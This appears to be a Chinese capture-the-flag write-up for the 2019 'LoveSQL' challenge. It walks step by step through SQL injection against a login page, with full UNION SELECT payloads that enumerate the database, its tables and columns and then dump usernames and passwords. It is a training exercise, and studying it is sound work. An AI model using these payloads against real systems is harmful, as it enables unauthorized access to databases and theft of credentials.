目录

• [极客大挑战 2019]LoveSQL
  • 首先简单测试一下题目
    • 0x00
    • 0x01
    • 0x02
    • 0x03
    • 0x04
    • 0x05
    • 0x06

[极客大挑战 2019]LoveSQL

首先简单测试一下题目

0x00

题目还是熟悉的登陆界面，先尝试一下万能密码的登陆

显示登陆成功，但是flag貌似不对
看起来像是MD5的加密，但是却无法解密

0x01

查询字段

admin' order by X #

当查询到4的时候返回Unknown column '4' in 'order clause'
然后用1' union select 1,2,3 #

所以回显点为2，3

0x02

查数据库名

1' union select 1,database(), version() #

得到数据库名为geek

0x03

爆表

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

得到两个数据表名
我们尝试l0ve1ysq1这个数据表

0x04

爆字段

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' #

得到这三个子段

0x05

爆数据

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1 #

得到flag

0x06

End
acc